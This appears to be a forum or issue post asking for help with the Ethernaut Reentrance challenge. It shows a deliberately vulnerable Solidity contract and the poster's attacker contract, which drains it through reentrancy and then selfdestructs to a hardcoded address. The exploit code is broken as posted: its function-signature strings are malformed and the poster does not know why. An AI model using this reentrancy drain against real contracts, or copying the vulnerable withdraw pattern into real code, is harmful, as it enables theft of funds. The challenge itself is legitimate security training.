I have been trying to pass the Reentrancy attack challenge of Ethernaut. Hence, I am creating this issue to ask help from anybody who knows where is the problem coming from.
First of all, here is the contract that I want to attack:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
And now, this is the code I have written to steal all the available Ethers from the above contract:
pragma solidity 0.8.0;
contract Malicious {
address public target;
address payable public owner;
constructor(address _destination) payable {
target = _destination;
owner = payable(0x61CC1f8d714451778e7A9bcf3dCeA6Dc4d10CB6e);
}
function acceptFunds() public payable {}
function sendbackFunds() public {
selfdestruct(owner);
}
function deposit() public payable {
(bool success1, ) = target.call{value: 500000000000000000}(abi.encodeWithSignature("donate(address)", address(this)));
require(success1, "Deposit did not succeed!");
}
function withdraw() public {
(bool success2, ) = target.call(abi.encodeWithSignature("withdraw(uint)", 500000000000000000));
require(success2, "Withdraw did not succeed!");
}
receive() external payable {
(bool success, ) = target.call(abi.encodeWithSignature("withdraw(uint)", 500000000000000000));
require(success, "Not successful!");
}
}
As it is obvious, first i will fill my contract with some amount of Ethereum. Then I will execute deposit function which sends some predefined amount of Eth to the victim contract. At the end, I execute the withdraw function to make the victim contract stick in my virtual loop. However, while executing withdraw function of my contract I am given this error.
It is worth mentioning, I have used call method rather than ABI and Address of the target contract.
All in all, i cannot figure out why this error shows up whenever I try to pull my money out of the victim contract.
Thanks in advance